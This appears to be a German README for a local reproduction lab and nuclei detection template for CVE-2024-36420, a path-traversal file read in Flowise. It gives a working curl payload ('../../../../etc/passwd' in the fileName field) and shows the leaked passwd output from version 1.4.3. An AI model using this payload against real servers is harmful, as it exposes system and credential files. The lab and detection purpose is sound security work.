
POC_CVE-2024-36420
Lokales Reproduktionslabor und nuclei-Vorlagenentwurf für CVE-2024-36420, das Flowise betrifft.
CVE-2024-36420 ist ein beliebiges Dateilesen in Flowise, verursacht durch nicht bereinigte Verwendung des fileName-Body-Parameters in:
POST /api/v1/openai-assistants-fileDieses Labor wurde verwendet, um Folgendes zu validieren:
flowiseai/flowise:1.4.3flowiseai/flowise:3.1.2docker-compose.ymldocker-compose.latest.ymlCVE-2024-36420.yamlStarte Flowise 1.4.3:
docker compose down -v
docker compose up -d
docker compose logs --tail=100 flowise
Manuelle Überprüfung:
curl -i \
-X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
-H 'Content-Type: application/json' \
-d '{"fileName":"../../../../etc/passwd"}'
Beobachtete anfällige Antwort:
HTTP/1.1 200 OK
Content-Disposition: attachment; filename=passwd
...
root:x:0:0:root:/root:/bin/ash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
Starte neuere Flowise 3.1.2:
docker compose -f docker-compose.latest.yml down -v
docker compose -f docker-compose.latest.yml up -d
docker compose -f docker-compose.latest.yml logs --tail=100 flowise
Manuelle Überprüfung:
curl -i \
-X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
-H 'Content-Type: application/json' \
-d '{"fileName":"../../../../etc/passwd"}'
Beobachtete Antwort der neueren Version:
HTTP/1.1 401 Unauthorized
{"error":"Unauthorized Access"}
Validieren Sie die Vorlage:
nuclei -duc -validate -t CVE-2024-36420.yaml
Führen Sie gegen das anfällige Ziel aus:
nuclei -duc -u http://127.0.0.1:3000 -t CVE-2024-36420.yaml
Erwartetes Verhalten:
1.4.3: Übereinstimmung3.1.2: keine Übereinstimmung1.4.33.1.2